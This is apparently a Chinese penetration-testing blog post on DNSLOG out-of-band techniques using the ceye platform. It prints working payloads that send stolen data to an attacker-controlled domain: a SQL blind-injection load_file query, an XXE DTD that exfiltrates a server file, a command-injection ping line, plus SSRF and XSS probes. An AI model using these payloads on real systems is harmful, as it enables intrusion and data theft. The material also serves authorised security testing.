前言

DNSLOG可能有些人对这个有点陌生,但这真是个十分强大的渗透技巧,这篇文章就是叙述DNSLOG在渗透中的强大之处,相信对这个了解不多的看了之后会觉得受益良多。

首先先简单的介绍一下DNSLOG,抽象的语言就不多说,用我自己的思路就是当我们拥有一个二级域名,例如bywalks.com,然后请求三级域名,例如dnstest.bywalks.comDNS解析时,

会把访问三级域名的日记传给二级域名。

有个基于DNSLOG记录的ceye平台,感兴趣的可以去看看

下面就是DNSLOG在各种情况下的使用

注入

当我们遇到盲注的时候,大家的常规思路是什么?无非两种,一延时,二基于内容特征。而这两种方法都是一个字符一个字符的判断,效率很低。

但有了DNSLOG可就不一样了。当遇到盲注的时候,我们可以用这样的PAYLOAD

1
load_file(concat('\\\\',(select database()),'.bywalks.ceye.io\\bywalks'))

在这里我们需要了解load_file是可以发送DNS请求的。

所以就等同于访问了database().bywalks.ceye.io,然后我们的ceye平台就会有记录,那么database()是不是就得到了呢?这种方法比逐字判断是要方便很多吧。

接下来注入就是库表列了。语句自由组合。

SSRF

当我们遇到SSRF的时候,例如ImageUrl=XXX这种,可以吧XXX换成127.0.0.1:80,127.0.0.1:81等,看返回值的情况判断是否存在SSRF,也可以用NC -lvvp 8888监听本地8888端口,然后ImageUrl=[http://Your-Ip:8888](http://Your-Ip:8888)

来观察是否存在SSRF

同时,我们也可以用基于DNSLOGceye来观察是否存在SSRF,我们可以把XXX换成bywalks.ceye.io,然后看我们的ceye平台是否有服务器的IP来判断。

XXE

当我们遇到XXE,如果这个XXE漏洞可以解析外部实体,那么不用说,就可以拿来读取本地服务器文件,这时,我们只需把dtd文件改成这样

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://bywalks.ceye.io/%file;'>"
>
%all;

在我们的ceye平台就可以接收到这个读取的服务器文件了。

当安全维护人员对服务器做了安全防护,使XXE不可以解析外部实体,但是<?xml version='1.0'?>这种仍然是从前台直接传递的时候,依旧是存在SSRF漏洞。所以对XXE的安全防护是必须严格化的。

命令执行

ceye平台是有着这样一个payload:

1
2
3
4
5
Linux:
curl

windows:
ping `whoami`.ip.port.bywalks.ceye.io

也就是当命令执行无回显的时候,我们就可以使用基于DNSLOGceye来获取我们想要的数据

XSS

Payload:

1
"><img src=x onerror=http://bywalks.ceye.io>

可以用来判断是否存在XSS

总结

1:主要实用的情况,盲注提高效率

2:主要使用的情况,在命令执行无回显,SSRF,XXE判断等通过下使用。关键在于无回显时。